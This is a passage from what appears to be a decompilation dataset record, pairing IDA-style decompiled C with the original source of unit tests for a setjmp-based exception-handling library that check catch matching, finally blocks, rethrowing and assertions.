4) == 0 )\n{\ntest_fail(\"state.branch2 == 1\", \"tests/test_exn.c\", 160LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_successful_assertions_do_not_throw_an_exception\";\n++Test_Results;\ntest_setup();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv13 = 0;\nexn_prep();\nv9 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v9);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_assert(\"tests/test_exn.c\", 172LL, 1LL, \"true\");\nv13 |= 3u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&AssertionException) )\n{\nv13 |= 4u;\n}\n}\nif ( (v13 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 175LL);\nbreak;\n}\nif ( (v13 & 2) == 0 )\n{\ntest_fail(\"state.branch1 == 1\", \"tests/test_exn.c\", 176LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_unsuccessful_assertions_throw_an_exception\";\n++Test_Results;\ntest_setup();\nresult = test_start();\nif ( !(_DWORD)result )\n{\nfor ( Loop_Var = 0; ; ++Loop_Var )\n{\nresult = Loop_Var;\nif ( Loop_Var > 0 )\nbreak;\nv12 = 0;\nexn_prep();\nv11 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v11);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_assert(\"tests/test_exn.c\", 184LL, 0LL, \"false\");\nv12 |= 1u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 )\n{\nif ( (unsigned __int8)exn_catch(&AssertionException) )\nv12 |= 2u;\n}\n}\nif ( (v12 & 1) != 0 )\nreturn test_fail(\"state.branch0 == 0\", \"tests/test_exn.c\", 187LL);\nif ( (v12 & 2) == 0 )\nreturn test_fail(\"state.branch1 == 1\", \"tests/test_exn.c\", 188LL);\n}\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func2()\n{\nstruct __jmp_buf_tag *v0; // rdi\nstruct __jmp_buf_tag *v1; // rdi\nstruct __jmp_buf_tag *v2; // rdi\nstruct __jmp_buf_tag *v3; // rdi\nstruct __jmp_buf_tag *v4; // rdi\nstruct __jmp_buf_tag *v5; // rdi\nstruct __jmp_buf_tag *v6; // rdi\nstruct __jmp_buf_tag *v7; // rdi\nstruct __jmp_buf_tag *v8; // rdi\nstruct __jmp_buf_tag *v9; // rdi\n__int64 result; // rax\nstruct __jmp_buf_tag *v11; // rdi\nchar v12; // [rsp+Ch] [rbp-24h]\nchar v13; // [rsp+10h] [rbp-20h]\nchar v14; // [rsp+14h] [rbp-1Ch]\nchar v15; // [rsp+18h] [rbp-18h]\nchar v16; // [rsp+1Ch] [rbp-14h]\nchar v17; // [rsp+1Ch] [rbp-14h]\nchar v18; // [rsp+20h] [rbp-10h]\nchar v19; // [rsp+24h] [rbp-Ch]\nchar v20; // [rsp+28h] [rbp-8h]\nchar v21; // [rsp+2Ch] [rbp-4h]\n\nCurr_Test = \"Verify_a_catch_block_will_catch_a_matching_exception\";\n++Test_Results;\nfunc1();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv21 = 0;\nexn_prep();\nv0 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v0);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_throw(\"tests/test_exn.c\", 42LL, &RuntimeException, 0LL);\nv21 |= 3u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv21 |= 4u;\n}\n}\nif ( (v21 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 46LL);\nbreak;\n}\nif ( (v21 & 2) != 0 )\n{\ntest_fail(\"state.branch1 == 0\", \"tests/test_exn.c\", 47LL);\nbreak;\n}\nif ( (v21 & 4) == 0 )\n{\ntest_fail(\"state.branch2 == 1\", \"tests/test_exn.c\", 48LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_a_catch_block_will_catch_a_matching_exception_by_hierarchy\";\n++Test_Results;\nfunc1();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv20 = 0;\nexn_prep();\nv1 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v1);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_throw(\"tests/test_exn.c\", 57LL, &AssertionException, 0LL);\nv20 |= 3u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv20 |= 4u;\n}\n}\nif ( (v20 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 61LL);\nbreak;\n}\nif ( (v20 & 2) != 0 )\n{\ntest_fail(\"state.branch1 == 0\", \"tests/test_exn.c\", 62LL);\nbreak;\n}\nif ( (v20 & 4) == 0 )\n{\ntest_fail(\"state.branch2 == 1\", \"tests/test_exn.c\", 63LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_the_first_matching_catch_block_is_executed\";\n++Test_Results;\nfunc1();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv19 = 0;\nexn_prep();\nv2 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v2);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_throw(\"tests/test_exn.c\", 72LL, &AssertionException, 0LL);\nv19 |= 3u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv19 |= 4u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&AssertionException) )\n{\nv19 |= 8u;\n}\n}\nif ( (v19 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 78LL);\nbreak;\n}\nif ( (v19 & 2) != 0 )\n{\ntest_fail(\"state.branch1 == 0\", \"tests/test_exn.c\", 79LL);\nbreak;\n}\nif ( (v19 & 4) == 0 )\n{\ntest_fail(\"state.branch2 == 1\", \"tests/test_exn.c\", 80LL);\nbreak;\n}\nif ( (v19 & 8) != 0 )\n{\ntest_fail(\"state.branch3 == 0\", \"tests/test_exn.c\", 81LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_non_matching_catch_blocks_are_ignored\";\n++Test_Results;\nfunc1();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv18 = 0;\nexn_prep();\nv3 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v3);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_throw(\"tests/test_exn.c\", 90LL, &AssertionException, 0LL);\nv18 |= 3u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&AbortException) )\n{\nv18 |= 4u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv18 |= 8u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&AssertionException) )\n{\nv18 |= 0x10u;\n}\n}\nif ( (v18 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 98LL);\nbreak;\n}\nif ( (v18 & 2) != 0 )\n{\ntest_fail(\"state.branch1 == 0\", \"tests/test_exn.c\", 99LL);\nbreak;\n}\nif ( (v18 & 4) != 0 )\n{\ntest_fail(\"state.branch2 == 0\", \"tests/test_exn.c\", 100LL);\nbreak;\n}\nif ( (v18 & 8) == 0 )\n{\ntest_fail(\"state.branch3 == 1\", \"tests/test_exn.c\", 101LL);\nbreak;\n}\nif ( (v18 & 0x10) != 0 )\n{\ntest_fail(\"state.branch4 == 0\", \"tests/test_exn.c\", 102LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_an_uncaught_exception_will_be_rethrown\";\n++Test_Results;\nfunc1();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv16 = 0;\nexn_prep();\nv4 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v4);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nv17 = v16 | 1;\nexn_prep();\nv5 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v5);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_throw(\"tests/test_exn.c\", 113LL, &RuntimeException, 0LL);\nv17 |= 6u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&AssertionException) )\n{\nv17 |= 8u;\n}\n}\nv16 = v17 | 0x10;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv16 |= 0x20u;\n}\n}\nif ( (v16 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 121LL);\nbreak;\n}\nif ( (v16 & 2) == 0 )\n{\ntest_fail(\"state.branch1 == 1\", \"tests/test_exn.c\", 122LL);\nbreak;\n}\nif ( (v16 & 4) != 0 )\n{\ntest_fail(\"state.branch2 == 0\", \"tests/test_exn.c\", 123LL);\nbreak;\n}\nif ( (v16 & 8) != 0 )\n{\ntest_fail(\"state.branch3 == 0\", \"tests/test_exn.c\", 124LL);\nbreak;\n}\nif ( (v16 & 0x10) != 0 )\n{\ntest_fail(\"state.branch4 == 0\", \"tests/test_exn.c\", 125LL);\nbreak;\n}\nif ( (v16 & 0x20) == 0 )\n{\ntest_fail(\"state.branch5 == 1\", \"tests/test_exn.c\", 126LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_a_finally_block_is_executed_after_an_uncaught_exception_is_thrown\";\n++Test_Results;\nfunc1();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv15 = 0;\nexn_prep();\nv6 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v6);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nv15 |= 1u;\nexn_prep();\nv7 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v7);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_throw(\"tests/test_exn.c\", 139LL, &RuntimeException, 0LL);\nv15 |= 2u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 3 )\n{\nv15 |= 4u;\n}\n}\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv15 |= 8u;\n}\n}\nif ( (v15 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 144LL);\nbreak;\n}\nif ( (v15 & 2) != 0 )\n{\ntest_fail(\"state.branch1 == 0\", \"tests/test_exn.c\", 145LL);\nbreak;\n}\nif ( (v15 & 4) == 0 )\n{\ntest_fail(\"state.branch2 == 1\", \"tests/test_exn.c\", 146LL);\nbreak;\n}\nif ( (v15 & 8) == 0 )\n{\ntest_fail(\"state.branch3 == 1\", \"tests/test_exn.c\", 147LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_a_finally_block_is_executed_after_a_succesful_try_block\";\n++Test_Results;\nfunc1();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv14 = 0;\nexn_prep();\nv8 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v8);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nv14 |= 1u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&RuntimeException) )\n{\nv14 |= 2u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 3 )\n{\nv14 |= 4u;\n}\n}\nif ( (v14 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 158LL);\nbreak;\n}\nif ( (v14 & 2) != 0 )\n{\ntest_fail(\"state.branch1 == 0\", \"tests/test_exn.c\", 159LL);\nbreak;\n}\nif ( (v14 & 4) == 0 )\n{\ntest_fail(\"state.branch2 == 1\", \"tests/test_exn.c\", 160LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_successful_assertions_do_not_throw_an_exception\";\n++Test_Results;\nfunc1();\nif ( !(unsigned int)test_start() )\n{\nfor ( Loop_Var = 0; Loop_Var <= 0; ++Loop_Var )\n{\nv13 = 0;\nexn_prep();\nv9 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v9);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_assert(\"tests/test_exn.c\", 172LL, 1LL, \"true\");\nv13 |= 3u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 && (unsigned __int8)exn_catch(&AssertionException) )\n{\nv13 |= 4u;\n}\n}\nif ( (v13 & 1) == 0 )\n{\ntest_fail(\"state.branch0 == 1\", \"tests/test_exn.c\", 175LL);\nbreak;\n}\nif ( (v13 & 2) == 0 )\n{\ntest_fail(\"state.branch1 == 1\", \"tests/test_exn.c\", 176LL);\nbreak;\n}\n}\n}\nCurr_Test = \"Verify_unsuccessful_assertions_throw_an_exception\";\n++Test_Results;\nfunc1();\nresult = test_start();\nif ( !(_DWORD)result )\n{\nfor ( Loop_Var = 0; ; ++Loop_Var )\n{\nresult = Loop_Var;\nif ( Loop_Var > 0 )\nbreak;\nv12 = 0;\nexn_prep();\nv11 = (struct __jmp_buf_tag *)exn_handler();\nsetjmp(v11);\nwhile ( (unsigned __int8)exn_process() )\n{\nif ( *(_DWORD *)(exn_handler() + 200) == 1 )\n{\nexn_assert(\"tests/test_exn.c\", 184LL, 0LL, \"false\");\nv12 |= 1u;\n}\nelse if ( *(_DWORD *)(exn_handler() + 200) == 2 )\n{\nif ( (unsigned __int8)exn_catch(&AssertionException) )\nv12 |= 2u;\n}\n}\nif ( (v12 & 1) != 0 )\nreturn test_fail(\"state.branch0 == 0\", \"tests/test_exn.c\", 187LL);\nif ( (v12 & 2) == 0 )\nreturn test_fail(\"state.branch1 == 1\", \"tests/test_exn.c\", 188LL);\n}\n}\nreturn result;\n}", "original_code": "void Exn(void) {\n Curr_Test = \"Verify_a_catch_block_will_catch_a_matching_exception\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n exn_throw(\"tests/test_exn.c\",42,&(RuntimeException),((void *)0));\n state.branch1 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) {\n state.branch2 = 1;\n }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",47 -1); break; };\n if (!(state.branch1 == 0)) { test_fail(\"state.branch1 == 0\",\"tests/test_exn.c\",48 -1); break; };\n if (!(state.branch2 == 1)) { test_fail(\"state.branch2 == 1\",\"tests/test_exn.c\",49 -1); break; };\n }\n Curr_Test = \"Verify_a_catch_block_will_catch_a_matching_exception_by_hierarchy\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n exn_throw(\"tests/test_exn.c\",57,&(AssertionException),((void *)0));\n state.branch1 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) {\n state.branch2 = 1;\n }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",62 -1); break; };\n if (!(state.branch1 == 0)) { test_fail(\"state.branch1 == 0\",\"tests/test_exn.c\",63 -1); break; };\n if (!(state.branch2 == 1)) { test_fail(\"state.branch2 == 1\",\"tests/test_exn.c\",64 -1); break; };\n }\n Curr_Test = \"Verify_the_first_matching_catch_block_is_executed\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n exn_throw(\"tests/test_exn.c\",72,&(AssertionException),((void *)0));\n state.branch1 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) {\n state.branch2 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(AssertionException))) {\n state.branch3 = 1;\n }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",79 -1); break; };\n if (!(state.branch1 == 0)) { test_fail(\"state.branch1 == 0\",\"tests/test_exn.c\",80 -1); break; };\n if (!(state.branch2 == 1)) { test_fail(\"state.branch2 == 1\",\"tests/test_exn.c\",81 -1); break; };\n if (!(state.branch3 == 0)) { test_fail(\"state.branch3 == 0\",\"tests/test_exn.c\",82 -1); break; };\n }\n Curr_Test = \"Verify_non_matching_catch_blocks_are_ignored\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n exn_throw(\"tests/test_exn.c\",90,&(AssertionException),((void *)0));\n state.branch1 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(AbortException))) {\n state.branch2 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) {\n state.branch3 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(AssertionException))) {\n state.branch4 = 1;\n }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",99 -1); break; };\n if (!(state.branch1 == 0)) { test_fail(\"state.branch1 == 0\",\"tests/test_exn.c\",100 -1); break; };\n if (!(state.branch2 == 0)) { test_fail(\"state.branch2 == 0\",\"tests/test_exn.c\",101 -1); break; };\n if (!(state.branch3 == 1)) { test_fail(\"state.branch3 == 1\",\"tests/test_exn.c\",102 -1); break; };\n if (!(state.branch4 == 0)) { test_fail(\"state.branch4 == 0\",\"tests/test_exn.c\",103 -1); break; };\n }\n Curr_Test = \"Verify_an_uncaught_exception_will_be_rethrown\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch1 = 1;\n exn_throw(\"tests/test_exn.c\",113,&(RuntimeException),((void *)0));\n state.branch2 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(AssertionException))) {\n state.branch3 = 1;\n }\n state.branch4 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) {\n state.branch5 = 1;\n }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",122 -1); break; };\n if (!(state.branch1 == 1)) { test_fail(\"state.branch1 == 1\",\"tests/test_exn.c\",123 -1); break; };\n if (!(state.branch2 == 0)) { test_fail(\"state.branch2 == 0\",\"tests/test_exn.c\",124 -1); break; };\n if (!(state.branch3 == 0)) { test_fail(\"state.branch3 == 0\",\"tests/test_exn.c\",125 -1); break; };\n if (!(state.branch4 == 0)) { test_fail(\"state.branch4 == 0\",\"tests/test_exn.c\",126 -1); break; };\n if (!(state.branch5 == 1)) { test_fail(\"state.branch5 == 1\",\"tests/test_exn.c\",127 -1); break; };\n }\n Curr_Test = \"Verify_a_finally_block_is_executed_after_an_uncaught_exception_is_thrown\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n exn_throw(\"tests/test_exn.c\",139,&(RuntimeException),((void *)0));\n state.branch1 = 1;\n } else if (exn_handler()->state == EXN_FINALLY) { state.branch2 = 1; }\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) {\n state.branch3 = 1;\n }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",145 -1); break; };\n if (!(state.branch1 == 0)) { test_fail(\"state.branch1 == 0\",\"tests/test_exn.c\",146 -1); break; };\n if (!(state.branch2 == 1)) { test_fail(\"state.branch2 == 1\",\"tests/test_exn.c\",147 -1); break; };\n if (!(state.branch3 == 1)) { test_fail(\"state.branch3 == 1\",\"tests/test_exn.c\",148 -1); break; };\n }\n Curr_Test = \"Verify_a_finally_block_is_executed_after_a_succesful_try_block\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n }\n else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) { state.branch1 = 1; }\n else if (exn_handler()->state == EXN_FINALLY) { state.branch2 = 1; }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",159 -1); break; };\n if (!(state.branch1 == 0)) { test_fail(\"state.branch1 == 0\",\"tests/test_exn.c\",160 -1); break; };\n if (!(state.branch2 == 1)) { test_fail(\"state.branch2 == 1\",\"tests/test_exn.c\",161 -1); break; };\n }\n Curr_Test = \"Verify_successful_assertions_do_not_throw_an_exception\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n exn_assert(\"tests/test_exn.c\",172,1,\"true\");\n state.branch1 = 1;\n }\n else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(AssertionException))) { state.branch2 = 1; }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",176 -1); break; };\n if (!(state.branch1 == 1)) { test_fail(\"state.branch1 == 1\",\"tests/test_exn.c\",177 -1); break; };\n }\n Curr_Test = \"Verify_unsuccessful_assertions_throw_an_exception\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n exn_assert(\"tests/test_exn.c\",184,0,\"false\");\n state.branch0 = 1;\n }\n else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(AssertionException))) { state.branch1 = 1; }\n if (!(state.branch0 == 0)) { test_fail(\"state.branch0 == 0\",\"tests/test_exn.c\",188 -1); break; };\n if (!(state.branch1 == 1)) { test_fail(\"state.branch1 == 1\",\"tests/test_exn.c\",189 -1); break; };\n }\n}", "canonical_original_code": "void Exn() {\n Curr_Test = \"Verify_a_catch_block_will_catch_a_matching_exception\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n struct exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n exn_throw(\"tests/test_exn.c\",42,&(RuntimeException),((void *)0));\n state.branch1 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) {\n state.branch2 = 1;\n }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",47 -1); break; };\n if (!(state.branch1 == 0)) { test_fail(\"state.branch1 == 0\",\"tests/test_exn.c\",48 -1); break; };\n if (!(state.branch2 == 1)) { test_fail(\"state.branch2 == 1\",\"tests/test_exn.c\",49 -1); break; };\n }\n Curr_Test = \"Verify_a_catch_block_will_catch_a_matching_exception_by_hierarchy\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n struct exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n exn_throw(\"tests/test_exn.c\",57,&(AssertionException),((void *)0));\n state.branch1 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) {\n state.branch2 = 1;\n }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",62 -1); break; };\n if (!(state.branch1 == 0)) { test_fail(\"state.branch1 == 0\",\"tests/test_exn.c\",63 -1); break; };\n if (!(state.branch2 == 1)) { test_fail(\"state.branch2 == 1\",\"tests/test_exn.c\",64 -1); break; };\n }\n Curr_Test = \"Verify_the_first_matching_catch_block_is_executed\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n struct exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n exn_throw(\"tests/test_exn.c\",72,&(AssertionException),((void *)0));\n state.branch1 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) {\n state.branch2 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(AssertionException))) {\n state.branch3 = 1;\n }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",79 -1); break; };\n if (!(state.branch1 == 0)) { test_fail(\"state.branch1 == 0\",\"tests/test_exn.c\",80 -1); break; };\n if (!(state.branch2 == 1)) { test_fail(\"state.branch2 == 1\",\"tests/test_exn.c\",81 -1); break; };\n if (!(state.branch3 == 0)) { test_fail(\"state.branch3 == 0\",\"tests/test_exn.c\",82 -1); break; };\n }\n Curr_Test = \"Verify_non_matching_catch_blocks_are_ignored\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n struct exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n exn_throw(\"tests/test_exn.c\",90,&(AssertionException),((void *)0));\n state.branch1 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(AbortException))) {\n state.branch2 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) {\n state.branch3 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(AssertionException))) {\n state.branch4 = 1;\n }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",99 -1); break; };\n if (!(state.branch1 == 0)) { test_fail(\"state.branch1 == 0\",\"tests/test_exn.c\",100 -1); break; };\n if (!(state.branch2 == 0)) { test_fail(\"state.branch2 == 0\",\"tests/test_exn.c\",101 -1); break; };\n if (!(state.branch3 == 1)) { test_fail(\"state.branch3 == 1\",\"tests/test_exn.c\",102 -1); break; };\n if (!(state.branch4 == 0)) { test_fail(\"state.branch4 == 0\",\"tests/test_exn.c\",103 -1); break; };\n }\n Curr_Test = \"Verify_an_uncaught_exception_will_be_rethrown\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n struct exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == 